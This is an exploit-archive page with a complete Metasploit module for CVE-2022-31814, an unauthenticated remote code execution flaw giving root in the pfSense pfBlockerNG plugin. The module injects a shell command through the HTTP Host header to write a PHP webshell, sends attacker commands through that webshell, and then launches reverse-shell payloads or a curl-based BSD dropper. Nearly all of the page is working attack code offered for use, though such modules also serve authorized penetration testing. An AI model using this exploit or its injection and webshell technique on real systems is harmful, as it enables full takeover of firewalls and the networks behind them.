pfSense pfBlockerNG 2.1.4_26 Shell Upload

This Metasploit module leverages a remote shell upload vulnerability in pfSense pfBlockerNG plugin versions 2.1.4_26 and below. Note that version 3.x is unaffected.


SHA-256 | 4189e967b6b81ffffd850d9ece99fb550a29985985f2bcf2dcb9de105fffe02c

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'pfSense plugin pfBlockerNG unauthenticated RCE as root',
'Description' => %q{
pfBlockerNG is a popular pfSense plugin that is not installed by default. It’s generally used to
block inbound connections from whole countries or IP ranges. Versions 2.1.4_26 and below are affected
by an unauthenticated RCE vulnerability that results in root access. Note that version 3.x is unaffected.
},
'Author' => [
'IHTeam', # discovery
'jheysel-r7' # module
],
'References' => [
[ 'CVE', '2022-31814' ],
[ 'URL', 'https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/']
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Privileged' => false,
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_openssl'
}
}
],
[
'BSD Dropper',
{
'Platform' => 'bsd',
'Arch' => [ARCH_X64],
'Type' => :bsd_dropper,
'CmdStagerFlavor' => [ 'curl' ],
'DefaultOptions' => {
'PAYLOAD' => 'bsd/x64/shell_reverse_tcp'
}
}
]
],
'DefaultTarget' => 1,
'DisclosureDate' => '2022-09-05',
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
},
'Notes' => {
'Stability' => [ CRASH_SERVICE_DOWN ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)

register_options(
[
OptString.new('WEBSHELL_NAME', [
false, 'The name of the uploaded webshell sans the ".php" ending. This value will be randomly generated if left unset.', nil
])
]
)
end

def upload_shell
print_status 'Uploading shell...'
if datastore['WEBSHELL_NAME'].blank?
@webshell_name = "#{Rex::Text.rand_text_alpha(8..16)}.php"
else
@webshell_name = "#{datastore['WEBSHELL_NAME']}.php"
end
@parameter_name = Rex::Text.rand_text_alpha(4..12)
print_status("Webshell name is: #{@webshell_name}")
web_shell_contents = <<~EOF
<?php echo file_put_contents('/usr/local/www/#{@webshell_name}','<?php echo(passthru($_POST["#{@parameter_name}"]));');
EOF
encoded_php = web_shell_contents.unpack('H*')[0].upcase
send_request_raw(
'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
'headers' => {
'Host' => "' *; echo '16i #{encoded_php} P' | dc | php; '"
}
)
sleep datastore['WfsDelay']
register_file_for_cleanup("/usr/local/www/#{@webshell_name}")
end

def check
upload_shell
check_resp = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "/#{@webshell_name}"),
'vars_post' => {
@parameter_name.to_s => 'id'
}
)
return Exploit::CheckCode::Safe('Error uploading shell, the system is likely patched.') if check_resp.nil? || check_resp.body.nil? || !check_resp.body.include?('uid=0(root) gid=0(wheel)')

Exploit::CheckCode::Vulnerable
end

def execute_command(cmd, _opts = {})
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, @webshell_name),
'headers' => {
'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8'
},
'vars_post' => {
@parameter_name.to_s => cmd
}
})
end

def exploit
upload_shell unless datastore['AutoCheck']
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :bsd_dropper
execute_cmdstager
end
end
end

Related Posts